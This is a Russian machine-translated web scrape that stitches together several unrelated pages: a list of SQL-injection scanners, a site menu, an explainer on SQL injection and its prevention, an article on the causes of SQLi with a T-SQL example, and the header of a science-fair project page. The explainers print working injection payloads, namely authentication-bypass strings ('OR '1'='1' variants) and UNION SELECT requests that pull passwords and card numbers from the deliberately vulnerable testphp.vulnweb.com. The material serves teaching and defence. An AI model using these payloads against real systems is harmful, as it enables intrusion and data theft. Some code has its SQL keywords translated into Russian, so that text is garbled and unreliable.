Vega – это свободное программное обеспечение [ сканер безопасности ] с открытым исходным кодом, которое может быть установлено на Linux, OS X и Windows.

Vega написан на Java и базируется он на GUI.

Не только для SQLi, но также вы можете использовать Vega, чтобы протестировать много других уязвимостей, таких как:

XML/Shell/URL инъекция
Перечисление каталогов
Включение удаленного файла
XSS

Vega выглядит многообещающим СВОБОДНЫМ сканером безопасности в Интернете.

7. SQLMap

SQLMap – один из самых популярных инструментов для тестирования с открытым исходным кодом, чтобы выполнить инъекцию SQL против системы управления реляционными базами данных.

Sqlmap перечисляет пользователей, пароли, хеши, роли, базу данных, таблицы, столбцы чтобы сдампить таблицы базы данных полностью.

Если вы используете Kali Linux, то вы можете использовать SQLMap там также, не устанавливая его.

8. SQL Inject Me

SQL Inject Me это Аддон Firefox, которое через поля HTML-формы ищут сообщение об ошибке на выходной странице.

Если бы вы проектируете форму ввода, соединяющуюся с базой данных по localhost, и хотели бы протестировать, прежде чем ставить на реальный сервер, SQL Inject Me, был бы хороший выбор.

9. Netsparker

Netsparker – один из популярных сканеров безопасности в Интернете, существует облачная версия и десктоп. Он обнаруживает большое количество дефектов безопасности включая лучшие 10 по версии OWASP.

Netsparker может быть интегрирован в жизненный цикл разработки программного обеспечения для непрерывной безопасности.

10. Appspider

Appspider от Rapid7 – динамическое решение для тестирования безопасности приложений проверить и протестировать веб-приложение больше чем на 80 типов атак.

 

 

Что такое SQL-инъекция? | Как это работает и типы SQL-инъекций

  • Главная
  • Основы фотошопа
    • Фотошоп фотоэффекты
    • Инструменты выбора Photoshop
    • Текстовые эффекты
    • Действия Photoshop
  • дизайн
    • Редактирование фотографий и ретуширование
    • Редактирование графики
    • 3D анимация
  • Советы по Excel
    • Инструменты Excel
    • VBA
    • Формула и функции Excel
  • Разработка программного обеспечения
    • Учебные руководства по Java
    • Языки программирования
    • Python Tutorials
    • Основы разработки программного обеспечения
    • Сетевая безопасность
    • JavaScript
    • Учебник по Linux
    • Мобильные приложения
    • Основные отличия
    • Управление проектом
  • Инструменты веб-разработки
    • HTML CSS Учебник
    • Управление базами данных
    • Учебники по SQL
  • Наука о данных
    • Основы аналитики данных
    • Визуализация данных
    • Большое количество данных
    • Облачные вычисления
    • Машинное обучение
  • Развитие предпринимательства
    • Основы продаж и маркетинга
    • Основы бухгалтерского учета
    • Формула финансов
    • Банковское дело
    • Бизнес-аналитика
    • Лидерство в организации
    • Набор персонала
    • Поведение на рабочем месте
  • Photoshop
    • Основы фотошопа
    • Фотошоп фотоэффекты
    • Инструменты выбора Photoshop
    • Текстовые эффекты
    • Действия Photoshop
  • дизайн
    • Редактирование фотографий и ретуширование
    • Редактирование графики
    • 3D анимация
  • Excel
    • Советы по Excel
    • Инструменты Excel
    • VBA
    • Формула и функции Excel
  • Разработка ПО
    • Разработка программного обеспечения
    • Учебные руководства по Java
    • Языки программирования
    • Python Tutorials
    • Основы разработки программного обеспечения
    • Сетевая безопасность
    • JavaScript
    • Учебник по Linux
    • Мобильные приложения
    • Основные отличия
    • Управление проектом
  • Веб-разработка
    • Инструменты веб-разработки
    • HTML CSS Учебник
    • Управление базами данных
    • Учебники по SQL
  • Наука о данных
    • Основы аналитики данных
    • Визуализация данных
    • Большое количество данных
    • Облачные вычисления

Что такое SQL-инъекция (SQLi) и как предотвратить атаки

SQL-инъекция (SQLi) — это тип атаки путем инъекции, которая позволяет выполнять вредоносные операторы SQL. Эти операторы управляют сервером базы данных за веб-приложением. Злоумышленники могут использовать уязвимости SQL Injection, чтобы обойти меры безопасности приложений. Они могут обходить аутентификацию и авторизацию веб-страницы или веб-приложения и извлекать содержимое всей базы данных SQL. Они также могут использовать SQL-инъекцию для добавления, изменения и удаления записей в базе данных.

Уязвимость SQL Injection может затронуть любой веб-сайт или веб-приложение, использующее базу данных SQL, такую ​​как MySQL, Oracle, SQL Server или другие. Преступники могут использовать его для получения несанкционированного доступа к вашим конфиденциальным данным: информации о клиентах, личным данным, коммерческой тайне, интеллектуальной собственности и т. Д. Атаки с использованием SQL-инъекций — одна из старейших, наиболее распространенных и самых опасных уязвимостей веб-приложений. Организация OWASP (Open Web Application Security Project) перечисляет инъекции в своем документе OWASP Top 10 2017 как угрозу номер один для безопасности веб-приложений.

Как и почему выполняется атака с использованием SQL-инъекции

Чтобы провести атаку с использованием SQL-инъекции, злоумышленник должен сначала найти уязвимые пользовательские данные на веб-странице или в веб-приложении. Веб-страница или веб-приложение, имеющее уязвимость SQL-инъекции, использует такой пользовательский ввод непосредственно в запросе SQL. Злоумышленник может создавать входной контент. Такой контент часто называют вредоносной полезной нагрузкой и является ключевой частью атаки. После того, как злоумышленник отправит это содержимое, в базе данных выполняются вредоносные команды SQL.

SQL — это язык запросов, который был разработан для управления данными, хранящимися в реляционных базах данных. Вы можете использовать его для доступа, изменения и удаления данных. Многие веб-приложения и веб-сайты хранят все данные в базах данных SQL. В некоторых случаях вы также можете использовать команды SQL для выполнения команд операционной системы. Следовательно, успешная атака с использованием SQL-инъекции может иметь очень серьезные последствия.

  • Злоумышленники могут использовать SQL-инъекции для поиска учетных данных других пользователей в базе данных. Затем они могут выдавать себя за этих пользователей.Выдающийся пользователь может быть администратором базы данных со всеми привилегиями базы данных.
  • SQL позволяет выбирать и выводить данные из базы данных. Уязвимость SQL-инъекции может позволить злоумышленнику получить полный доступ ко всем данным на сервере базы данных.
  • SQL также позволяет изменять данные в базе данных и добавлять новые данные. Например, в финансовом приложении злоумышленник может использовать SQL-инъекцию для изменения балансов, аннулирования транзакций или перевода денег на свой счет.
  • Вы можете использовать SQL для удаления записей из базы данных, даже для удаления таблиц.Даже если администратор создает резервные копии базы данных, удаление данных может повлиять на доступность приложения до тех пор, пока база данных не будет восстановлена. Кроме того, резервные копии могут не охватывать самые свежие данные.
  • На некоторых серверах баз данных вы можете получить доступ к операционной системе с помощью сервера баз данных. Это может быть намеренно или случайно. В таком случае злоумышленник может использовать SQL-инъекцию в качестве исходного вектора, а затем атаковать внутреннюю сеть за межсетевым экраном.

Существует несколько типов атак SQL Injection: внутриполосный SQLi (с использованием ошибок базы данных или команд UNION), слепой SQLi и внеполосный SQLi.Вы можете узнать больше о них в следующих статьях: Типы SQL-инъекций (SQLi), Слепые SQL-инъекции: что это такое.

Чтобы шаг за шагом проследить, как выполняется атака с использованием SQL-инъекции и какие серьезные последствия она может иметь, см. Использование SQL-инъекции: практический пример.

Пример простой SQL-инъекции

Первый пример очень простой. Он показывает, как злоумышленник может использовать уязвимость SQL Injection для обхода безопасности приложения и аутентификации в качестве администратора.

Следующий сценарий представляет собой псевдокод, выполняемый на веб-сервере. Это простой пример аутентификации с использованием имени пользователя и пароля. В примере базы данных есть таблица с именем пользователей со следующими столбцами: имя пользователя и пароль .

  # Определить переменные POST
  uname = request.POST ['имя пользователя'] 
  passwd = request.POST ['пароль'] 

# SQL-запрос уязвим для SQLi
sql = «ВЫБРАТЬ ИД ОТ пользователей ГДЕ username =’ »+  uname  +« ’AND password =’ »+  passwd  +« ’»

# Выполнить инструкцию SQL
база данных.выполнить (sql)  

Эти поля ввода уязвимы для SQL-инъекции. Злоумышленник может использовать команды SQL во входных данных таким образом, чтобы изменить инструкцию SQL, выполняемую сервером базы данных. Например, они могут использовать трюк с одинарной кавычкой и установить в поле passwd значение:

  пароль 'ИЛИ 1 = 1  

В результате сервер базы данных выполняет следующий SQL-запрос:

  ВЫБЕРИТЕ идентификатор ИЗ пользователей, ГДЕ имя пользователя = 'имя пользователя' И пароль =  'пароль' ИЛИ ​​1 = 1  ' 

Из-за оператора OR 1 = 1 , предложение WHERE возвращает первый id из таблицы пользователей независимо от имени пользователя и пароля .Первый пользователь id в базе данных очень часто является администратором. Таким образом злоумышленник не только обходит аутентификацию, но и получает права администратора. Они также могут закомментировать остальную часть оператора SQL для дальнейшего контроля выполнения запроса SQL:

  - MySQL, MSSQL, Oracle, PostgreSQL, SQLite
'ИЛИ' 1 '=' 1 '
'ИЛИ' 1 '=' 1 ' / * 
- MySQL
'ИЛИ' 1 '=' 1 ' # 
- Доступ (с использованием нулевых символов)
'ИЛИ' 1 '=' 1 '% 00 
'ИЛИ' 1 '=' 1 '% 16   

Пример внедрения SQL на основе объединения

Один из наиболее распространенных типов SQL-инъекций использует оператор UNION.Это позволяет злоумышленнику объединить результаты двух или более операторов SELECT в один результат. Этот метод называется union -based SQL Injection.

Ниже приведен пример этой техники. Он использует веб-страницу testphp.vulnweb.com , намеренно уязвимый веб-сайт, размещенный на Acunetix.

Следующий HTTP-запрос является обычным запросом, который отправляет законный пользователь:

  ПОЛУЧИТЬ http://testphp.vulnweb.com/artists.php?artist=  1  HTTP / 1.1
Хост: testphp.vulnweb.com  

Параметр Artist уязвим для внедрения SQL. Следующая полезная нагрузка изменяет запрос для поиска несуществующей записи. Он устанавливает значение в строке запроса URL равным -1 . Конечно, это может быть любое другое значение, которого нет в базе данных. Однако отрицательное значение - хорошее предположение, поскольку идентификатор в базе данных редко бывает отрицательным числом.

В SQL Injection оператор UNION обычно используется для присоединения вредоносного SQL-запроса к исходному запросу, предназначенному для выполнения веб-приложением.Результат введенного запроса будет объединен с результатом исходного запроса. Это позволяет злоумышленнику получать значения столбцов из других таблиц.

  GET http://testphp.vulnweb.com/artists.php?artist= -1 UNION SELECT 1, 2, 3  HTTP / 1.1
Хост: testphp.vulnweb.com  

В следующем примере показано, как можно использовать полезную нагрузку SQL Injection для получения более значимых данных с этого намеренно уязвимого сайта:

  ПОЛУЧИТЬ http: // testphp.vulnweb.com/artists.php?artist=  -1 UNION SELECT 1, pass, cc FROM users WHERE uname = 'test'  HTTP / 1.1
Хост: testphp.vulnweb.com  


Как предотвратить внедрение SQL

Единственный надежный способ предотвратить атаки SQL-инъекций - это проверка ввода и параметризованные запросы, включая подготовленные операторы. Код приложения никогда не должен использовать ввод напрямую. Разработчик должен очистить все входные данные, а не только входные данные веб-форм, такие как формы входа в систему. Они должны удалить элементы потенциально вредоносного кода, такие как одинарные кавычки.Также рекомендуется отключить отображение ошибок базы данных на производственных сайтах. Ошибки базы данных можно использовать с SQL Injection для получения информации о вашей базе данных.

Если вы обнаружите уязвимость SQL-инъекции, например, с помощью сканирования Acunetix, возможно, вы не сможете исправить ее немедленно. Например, уязвимость может быть в открытом исходном коде. В таких случаях вы можете использовать брандмауэр веб-приложения для временной очистки вводимых данных.

Чтобы узнать, как предотвратить атаки SQL-инъекций на языке PHP, см. Предотвращение уязвимостей SQL-инъекций в приложениях PHP и их устранение.Чтобы узнать, как это сделать на многих других языках программирования, обратитесь к руководству Bobby Tables по предотвращению внедрения SQL.

Как предотвратить SQL-инъекции (SQLi) - общие советы

Предотвратить уязвимости внедрения SQL-кода непросто. Конкретные методы предотвращения зависят от подтипа уязвимости SQLi, ядра базы данных SQL и языка программирования. Однако есть определенные общие стратегические принципы, которым вы должны следовать, чтобы обеспечить безопасность своего веб-приложения.


Шаг 1. Обучите и поддерживайте осведомленность

Чтобы обеспечить безопасность вашего веб-приложения, все, кто участвует в создании веб-приложения, должны знать о рисках, связанных с SQL-инъекциями. Вы должны предоставить подходящее обучение безопасности для всех ваших разработчиков, сотрудников отдела контроля качества, DevOps и системных администраторов. Вы можете начать с ссылки на эту страницу.


Шаг 2. Не доверяйте никакому вводу пользователя

Считать все данные, вводимые пользователем, ненадежными.Любой пользовательский ввод, который используется в запросе SQL, представляет риск внедрения SQL-кода. Обращайтесь с вводом от аутентифицированных и / или внутренних пользователей так же, как с общедоступным вводом.


Шаг 3. Используйте белые, а не черные списки

Не фильтровать вводимые пользователем данные по черным спискам. Умный злоумышленник почти всегда найдет способ обойти ваш черный список. Если возможно, проверяйте и фильтруйте вводимые пользователем данные, используя только строгие белые списки.


Шаг 4. Принятие новейших технологий

Старые технологии веб-разработки не имеют защиты SQLi.Используйте последнюю версию среды разработки и языка, а также новейшие технологии, связанные с этой средой / языком. Например, в PHP вместо MySQLi используйте PDO.


Шаг 5: Используйте проверенные механизмы

Не пытайтесь создать защиту SQLi с нуля. Большинство современных технологий разработки могут предложить вам механизмы защиты от SQLi. Используйте такие механизмы вместо того, чтобы изобретать велосипед. Например, используйте параметризованные запросы или хранимые процедуры.


Шаг 6. Регулярное сканирование (с помощью Acunetix)

SQL-инъекции могут быть введены вашими разработчиками или через внешние библиотеки / модули / программное обеспечение. Вам следует регулярно сканировать свои веб-приложения с помощью сканера веб-уязвимостей, такого как Acunetix. Если вы используете Jenkins, вам следует установить плагин Acunetix для автоматического сканирования каждой сборки.


Дополнительная литература

Часто задаваемые вопросы

SQL Injection - это веб-уязвимость, вызванная ошибками программистов.Он позволяет злоумышленнику отправлять команды в базу данных, с которой взаимодействует веб-сайт или веб-приложение. Это, в свою очередь, позволяет злоумышленнику получать данные из базы данных или даже изменять их.

См. Пошаговый пример того, как происходят SQL-инъекции.

Единственный эффективный способ обнаружения SQL-инъекций - использование сканера уязвимостей, часто называемого инструментом DAST (динамическое тестирование безопасности приложений).Acunetix, как известно, является лидером в обнаружении SQL-инъекций и других уязвимостей. Acunetix может достичь того места, где другие сканеры не работают.

Узнайте, что Acunetix Premium может для вас сделать.

Лучший способ предотвратить SQL-инъекции - это использовать безопасные программные функции, которые делают невозможными SQL-инъекции: параметризованные запросы (подготовленные операторы) и хранимые процедуры.В настоящее время каждый основной язык программирования имеет такие безопасные функции, и каждый разработчик должен использовать только такие безопасные функции для работы с базой данных.

Просмотрите библиотеку безопасных функций для всех языков программирования.

Что это? Причины и эксплойты

Сводка

Многие уязвимости безопасности обнаруживаются, исправляются и исчезают навсегда. Некоторые задерживаются и продолжают мешать разработке программного обеспечения и будут продолжать делать это еще долгие годы.Если не брать в расчет социальную инженерию и нетехнические атаки, SQL-инъекция остается одной из главных угроз безопасности наших данных, а также одной из самых недооцененных.

В этой статье дается современный взгляд на внедрение SQL-кода и множество способов его сохранения, несмотря на наши знания о том, что это такое, что вызывает его и как его устранить. Мы также обсудим заблуждения и мифы, которые часто мешают нашим усилиям по обеспечению безопасности.

Что такое SQL-инъекция?

У профессионалов разные определения, но я предпочитаю самое широкое: SQL Injection - это любая попытка запустить неавторизованный код на SQL Server через авторизованный путь.Несанкционированный код включает в себя абсолютно все, от команд безопасности до поиска строк и изменений схемы. Авторизованный путь позволяет нам исключить традиционный взлом, а также социальную инженерию и другие эксплойты, которые здесь явно не актуальны.

SQL-инъекция - это подмножество еще более крупного эксплойта, известного как инъекция, который также включает в себя код приложения, веб-компоненты, сетевое оборудование и другие различные компоненты, составляющие структуру приложения.

Эта угроза является наиболее частой и постоянно оцениваемой наивысшей уязвимостью в истории программного обеспечения баз данных. Несмотря на годы исследований, идентификации и внимания, внедрение SQL-кода сохраняется и продолжает преследовать организации через незащищенные конечные точки.

В нашей работе мы будем считать попытку SQL-инъекции успешной, если пользователь может получить доступ к любым данным или компонентам SQL Server, к которым у него обычно нет прав доступа.

Источники SQL-инъекций

Для выполнения SQL-инъекции требуется некоторая точка входа.Вот некоторые общие конечные точки:

Динамический SQL

Это часто ошибочно принимают за единственный источник SQL-инъекции, который может нанести ущерб усилиям по обеспечению безопасности. Динамический SQL предоставляет возможность вставлять переменные в TSQL во время выполнения, позволяя нам выполнять задачи, которые в противном случае могли бы занять много времени или быть неэффективными. Это делает его ценным инструментом, но его пользователи должны убедиться, что каждая из этих переменных очищена надлежащим образом перед использованием.

Рассмотрим следующий TSQL:

ОБЪЯВИТЬ @Sql_Command NVARCHAR (MAX);

DECLARE @Search_Criteria NVARCHAR (MAX);

SELECT @Sql_Command = '

SELECT

*

FROM Person.Человек

ГДЕ Person.FirstName = '' ';

ВЫБРАТЬ @Search_Criteria = 'Эдвард'; - Этот текст фиксируется полем формы в приложении.

ВЫБРАТЬ @Sql_Command = @Sql_Command + @Search_Criteria + '' '';

EXEC (@Sql_Command);

Это простой скрипт, который ищет в таблице всех, чье имя соответствует переменной @Search_Criteria . Если эта переменная заполняется через веб-форму или какой-либо открытый ввод, то есть множество способов злоупотребления ею.Вот некоторые общие тактики:

  • Закройте строку и введите свой собственный TSQL
  • Используйте специальные символы для увеличения сравнения LIKE, например%, [] или вставьте регулярное выражение
  • Введите пустой поиск
  • Используйте UNION ALL, чтобы добавить дополнительный TSQL к исходному поисковому запросу
  • Используйте комментарии, чтобы исключить любой TSQL в той же строке, что и динамический SQL

Ниже приводится пример TSQL и результаты, которые могут быть получены, если входы не имеют защиты:

ОБЪЯВИТЬ @Sql_Command NVARCHAR (MAX);

DECLARE @id NVARCHAR (MAX) = '3';

DECLARE @password NVARCHAR (128) = '' 'UNION ALL SELECT * FROM Person.Пароль ГДЕ '' '' = '' ';

SELECT @Sql_Command = '

SELECT

*

FROM Person.Password

ГДЕ Password.BusinessEntityID =' + @id + '

AND PasswordHash =' '' + @password + '' ;

EXEC (@Sql_Command);

Предполагается, что запрос, который возвращает данные для данного идентификатора пользователя и пароля, но поскольку нет защиты ни на одном из входов, TSQL можно легко взломать, чтобы он возвращал дополнительные данные из таблицы.

Возможность получить список имен пользователей, таблиц, паролей или любых связанных данных может быть довольно опасной, даже если эти данные неполные. Имена пользователей могут использоваться для преднамеренного сбоя входа в систему и блокировки пользователей. Информация о схеме может использоваться для определения других способов атаки на сервер и, в конечном итоге, кражи данных.

Изменение строк URL

Хотя большинство современных веб-сайтов защищают от этого, взлом URL-адресов по-прежнему остается одним из наиболее распространенных способов получения доступа к данным.Этот метод трудно обнаружить, требует небольшого мастерства, а определение успеха или неудачи происходит относительно быстро.

Если URL-адрес содержит строки поиска, дескрипторы безопасности или другие конфиденциальные компоненты, то приложение должно проверить содержимое URL-адреса перед их обработкой. Кроме того, приложение должно скрывать любое содержимое URL-адреса, которое может использоваться для получения нежелательной информации о приложении, например идентификаторов первичных ключей или имен объектов.

Ведение и мониторинг веб-журналов может быть сложной задачей, но может дать ценную информацию об областях, в которых хакеры пытаются злонамеренно получить доступ к данному сайту.Оповещение в этих журналах может дать нам предварительное уведомление о потенциальных атаках и подробную информацию о том, как они выполняются, а также об их происхождении.

Интернет / формы заявки

Следует уделять особое внимание любому месту, где пользователи могут вводить данные произвольной формы. Это источник большинства атак с использованием SQL-инъекций. Хакеры играют роль контроля качества и вводят каждую нечетную комбинацию символов, символов или длины данных, пытаясь вызвать ошибку или неожиданное поведение.

Мне любопытно, что происходит, когда в эти текстовые поля вводятся специальные символы. Обращаются ли они как с строкой (как и должно быть) или они мешают TSQL или коду приложения, вызывая неожиданное поведение?

В этом сценарии существует достаточно средств защиты, чтобы гарантировать, что мои попытки вызвать ошибки или сломать строки TSQL потерпят неудачу. Сильно ограничивая допустимые символы, мы можем предотвратить SQL-инъекцию до того, как у нее появится шанс вскинуть голову.

Злоупотребление сотрудниками ограниченного доступа

Хотя мы никогда не хотим рассматривать внутренних сотрудников как потенциальных злоумышленников, мы должны признать, что в достаточно большой организации кто-то может в конечном итоге прибегнуть к плохому поведению при наличии достаточно хорошей возможности. Логин с ограниченным доступом к серверу может использовать SQL-инъекцию для получения дополнительного доступа, который обычно не разрешен.

Защита от внедрения SQL исключает возможность атак и защищает организацию изнутри.Это ценно в мире, полном социальной инженерии, фишинга и других атак, которые могут выйти за рамки простоты одного злонамеренного сотрудника. Хакер, контролирующий доступ к приложениям или базе данных для внутреннего ресурса, может получить довольно много власти, о которой сотрудник даже не подозревал. Мы хотим, чтобы этот доступ был максимально минимизирован, и многие меры защиты, которые мы реализуем для противодействия внедрению SQL, очень помогают в решении этой проблемы!

Сообщения об ошибках

Есть несколько вещей более опасных, чем отображение сообщений об ошибках в приложении.Если вы используете приложение и видите следующее, что вы думаете?

Некоторые люди могут пойти дальше и проигнорировать это, но любой хакер знает, что отображение этого сообщения об ошибке решает две задачи:

  1. Он предоставляет некоторую информацию о приложении, базе данных и схеме с помощью сведений об ошибке.
  2. Это показывает нам, что ошибки не перехватываются правильно и что может быть возможность ввести SQL в источник ошибки.

Сообщения об ошибках всегда должны перехватываться, будь то ошибки SQL, приложения или веб-ошибки.После обнаружения мы можем зарегистрировать их и предоставить пользователю дружественное (и менее конкретное) сообщение.

Как можно использовать SQL-инъекцию?

После того, как точка входа установлена, действия хакера будут ограничены только безопасностью пользователя, от имени которого они работают. Вот некоторые примеры несанкционированного использования:

  • Изменение операторов TSQL для возврата дополнительных данных
  • Изменить хранимые процедуры, функции или другие схемы базы данных
  • Проверить наличие базы данных или объектов сервера, таких как таблицы или пользователи
  • Изменить пароли или разрешения
  • Доступ к компонентам за пределами SQL Server, например к серверу или инфраструктуре хранения.
  • Удалить, украсть, изменить, зашифровать или попытаться выкупить данные из базы данных
  • Выполните атаку отказа в обслуживании на сервере базы данных, используя чрезмерные ресурсы
    • Подлый хакер сделает это с другим сервером или сервисом, чтобы отвлечь внимание

Распространенные причины внедрения SQL-кода

Никто намеренно не оставляет после себя дыр в безопасности, которые можно использовать с помощью SQL-инъекции.Есть много причин, по которым возникают эти дыры в безопасности, и часто это не так, потому что мы просто написали плохой код. Вот краткий список наиболее распространенных причин SQL-инъекций:

Старый, устаревший или отложенный код

Иногда код был достаточно безопасным или адекватным, когда он был написан, но с течением времени и изменениями технологий то, что было безопасным 10 лет назад, больше не приемлемо.

По мере того, как мы пишем новый код и создаем новые функции, нам также необходимо пересматривать старый код и функции, чтобы убедиться, что старые вещи также не устаревают.Неиспользуемый или ненужный код также следует удалить, так как он, скорее всего, не получит внимания в будущем. Этот баланс помогает гарантировать, что весь код останется безопасным и актуальным, когда он столкнется с испытанием временем.

Устаревшие / не исправленные приложения

Использование неподдерживаемого или устаревшего программного обеспечения или функций приводит к появлению дыр в безопасности, которые не могут быть исправлены или обнаружены так быстро, как это было бы с современным программным обеспечением.

Запуск исправленных и современных версий программного обеспечения имеет решающее значение для предотвращения уязвимостей системы безопасности, включая внедрение SQL-кода.Постоянный мониторинг новых уязвимостей системы безопасности и реагирование по мере необходимости - важный шаг на пути к предотвращению ненужных сюрпризов.

Предположения безопасности

Часто нас приводят к ложному чувству безопасности из-за изолированности различных групп приложений или сред. Если нас заставят поверить, что веб-формы приложения по умолчанию защищены от внедрения, то мы можем проявлять слабость при разработке хранимых процедур или других объектов базы данных.

Мы должны практиковать оптимальную безопасность, когда это возможно, и никогда не предполагать, что высокий уровень безопасности где-либо еще защитит нас. Приложения меняются, и предположения, которые были верными в прошлом или настоящем, могут оказаться неверными в будущем. Эти предположения в конечном итоге приводят к сбоям в аудите соответствия и безопасности и не дают никакой пользы, кроме экономии времени.

Отказ уровня безопасности

Идея о том, что безопасность - это стена и что окружающие серверы и приложения с помощью мер безопасности могут защитить от хакеров, больше не актуальна.Точнее, мы должны рассматривать безопасность приложений, как наши дома: множество окон, которые легко разбить.

Оптимальный способ защитить данные организации - это обеспечить их безопасность. Иметь безопасный сервер базы данных, к которому обращается защищенный сервер приложений, к которому обращается защищенный веб-сервер. Каждое из этих устройств подключено к защищенным сетевым устройствам и контролируется службами, которые могут предупреждать, когда что-то идет не так. Конечным результатом является система, в которой требуются значительные усилия для доступа к данным, до такой степени, что таких усилий будет достаточно, чтобы сработать предупреждения и предупредить организацию о том, что происходит что-то плохое.

Под нашим личным контролем будут находиться все компоненты, которыми мы управляем, например, серверы баз данных. Стройте серверы максимально безопасно и никогда не предполагайте, что другие компоненты приложения защитят вас от злоумышленников.

Эксплойты

Использование SQL-инъекции во многом зависит от творчества или жестокости хакера. При несанкционированном доступе к серверу базы данных уровень серьезности атаки будет измеряться по:

  • Как долго длилась атака, прежде чем она была обнаружена? Как долго после обнаружения?
  • Были ли просмотрены, загружены, изменены или украдены какие-либо несанкционированные данные?
  • Были ли доступны какие-либо другие системы с помощью атаки?
  • Каковы последствия атаки? Как это повлияет на клиентов или потребителей?

В случае нарушения будут заданы эти и многие другие вопросы.Целью будет полное понимание взлома и его последствий. Кроме того, будут рассмотрены политики конфиденциальности и соответствия. Если взлом также нарушит эти соглашения, то сложность ситуации может быть на много порядков выше, чем была раньше. GDPR, HIPAA, EU-US Privacy Shield, корпоративная политика конфиденциальности и многое другое - все это влияет на бизнес и уровень предлагаемой безопасности, а также на необходимую реакцию при обнаружении эксплойта или взлома. По многим соглашениям необходимо раскрывать уязвимости, даже если нет доказательств нарушения.

В большинстве организаций теперь есть сотрудники и группы безопасности, которые полностью осведомлены обо всех деловых соглашениях, соглашениях о соответствии и законах, касающихся конфиденциальности и безопасности данных. У международных организаций будут гораздо более широкие и более сложные потребности, поскольку при определении того, как действовать, необходимо будет учитывать законы каждой страны. Многие компании предпочтут строить свою организацию на основе самых строгих требований, чтобы упростить операции и избежать необходимости иметь совершенно разные бизнес-модели для взаимоотношений между странами.

Что могут сделать злоумышленники? Вот некоторые примеры:

  • Скачать неавторизованные данные
  • Удалить / изменить данные
  • Безвозвратно уничтожить данные / резервные копии
  • Долгосрочный мониторинг системы
  • Заразить системы вирусами или вредоносным ПО
  • Измените безопасность, чтобы разрешить / запретить доступ по усмотрению хакера
  • Шифрование / кража / изменение данных и хранение с целью получения выкупа
  • Публично опозорить организацию с помощью взлома сети или социальных сетей
  • Используйте данные для проникновения в организацию или ее бизнес-операции

Если что-либо из этого звучит диковинно или, скорее, является содержанием фильма о Джеймсе Бонде, мы глубоко ошибаемся.Все эти сценарии были результатом атак SQL-инъекций и повторялись много-много раз.

Самая крупная на сегодняшний день атака с использованием SQL-инъекций была на Heartland Payment Systems в 2008 году. Атака с использованием SQL-инъекций была использована для получения доступа к системам обработки кредитных карт. Атака началась в марте 2008 года, но не была обнаружена до января 2009 года. Компания не могла вести бизнес в течение 5 месяцев и была оштрафована на 145 миллионов долларов в качестве компенсации за совершенные мошеннические платежи.

Не все подробности взломов и взломов раскрываются общественности, поэтому, вероятно, их гораздо больше, чем мы знаем на сегодняшний день. По оценкам, в наиболее распространенные годы, с 2010 по 2015 год, более 2/3 всех компаний и государственных учреждений были уязвимы для внедрения SQL.

Как правило, старые системы в первую очередь становятся мишенью, исходя из предположения, что организация, которая не обновляет программное обеспечение, с большей вероятностью будет пренебрегать безопасностью.Платформы баз данных, которые чаще всего подвергаются атакам, - это Oracle, PostgreSQL, MySQL и MongoDB. На каждой платформе частота атак возрастала с возрастом. Наличие более новых версий программного обеспечения не только обеспечивает более современные варианты безопасности, но и отпугивает хакеров, которые обычно ищут легкие цели с низким уровнем риска.

Куда мы пойдем дальше?

Понимая, что такое SQL-инъекция и ее причины, мы можем начать формулировать стратегии для ее обнаружения и предотвращения. Это наша конечная цель, которая имеет решающее значение для безопасности данных и влияет на любую платформу, где хранятся данные, будь то в SQL Server, MySQL, NoSQL или какой-либо другой.В нашей следующей статье мы продолжим это обсуждение до того, как мы решим эту проблему проактивно, уменьшая вероятность того, что мы будем вынуждены защищаться во время утечки данных.

Дополнительная литература

Выбор режима аутентификации

Информация об уязвимостях Meltdown и Spectre

Подробности о xp_cmdshell

Учетные данные прокси-сервера Xp_cmdshell

Обзор

SQL-инъекций от Microsoft

Эд имеет 20-летний опыт работы в области администрирования баз данных и систем, он увлечен оптимизацией производительности, проектированием баз данных и ускорением работы.Он выступал на многих субботах SQL, 24 Hours of PASS и саммите PASS. Это привело его к организации субботы SQL в Олбани, которая стала ежегодным мероприятием для столичного региона Нью-Йорка.

В свободное время Эд любит видеоигры, научную фантастику и фэнтези, путешествовать и быть настолько большим компьютерщиком, насколько его друзья терпят.

Посмотреть все сообщения Ed Pollack

Последние сообщения Ed Pollack (посмотреть все)

Предотвращение атак с использованием SQL-инъекций | Научный проект

Убедитесь, что в вашем браузере включен JavaScript.Если вы оставите отключенным JavaScript, вы получите доступ только к части предоставляемого нами контента. Вот как.
Области науки Кибербезопасность
Сложность
Требуемое время Короткий (2-5 дней)
Предварительные требования Предыдущий опыт программирования (любой язык).Для выполнения этого проекта вам необходимо выучить основы SQL и PHP.
Наличие материала Компьютер с доступом в Интернет.
Стоимость Очень низкий (менее 20 долларов США)
Безопасность Нет проблем

Аннотация

На скольких веб-сайтах у вас есть учетные записи, в которых хранится личная информация, такая как ваше имя, адрес электронной почты, номер телефона или почтовый адрес? Если люди, управляющие этими веб-сайтами, не будут осторожны, хакеры могут получить несанкционированный доступ к вашей информации и даже изменить или удалить ее.Они могут сделать это с помощью так называемого SQL-внедрения, которое включает в себя ввод вредоносного кода в текстовые поля на веб-сайте. В этом проекте вы узнаете, как работает SQL-инъекция, и выясните, как ее предотвратить.

Цель

Устранение уязвимостей на веб-сайте, открытом для SQL-инъекции.

Поделитесь своей историей с друзьями по науке!

Да, Я сделал этот проект! Пожалуйста, войдите в систему (или создайте бесплатную учетную запись), чтобы сообщить нам, как все прошло.

кредитов

Бен Финио, доктор философии, приятели науки

цитировать эту страницу

Здесь представлена ​​общая информация о цитировании. Обязательно проверьте форматирование, включая использование заглавных букв, для метода, который вы используете, и обновите цитату по мере необходимости.

MLA Стиль

Финио, Бен. «Предотвращение атак с использованием SQL-инъекций». Друзья науки , 20 ноя.2020, https://www.sciencebuddies.org/science-fair-projects/project-ideas/Cyber_p008/cybersecurity/sql-injection. Доступ 13 января 2021 г.

Стиль APA

Финио, Б. (2020, 20 ноября). Предотвращение атак с использованием SQL-инъекций. Полученное из https://www.sciencebuddies.org/science-fair-projects/project-ideas/Cyber_p008/cybersecurity/sql-injection

Дата последнего редактирования: 20.11.2020

Введение

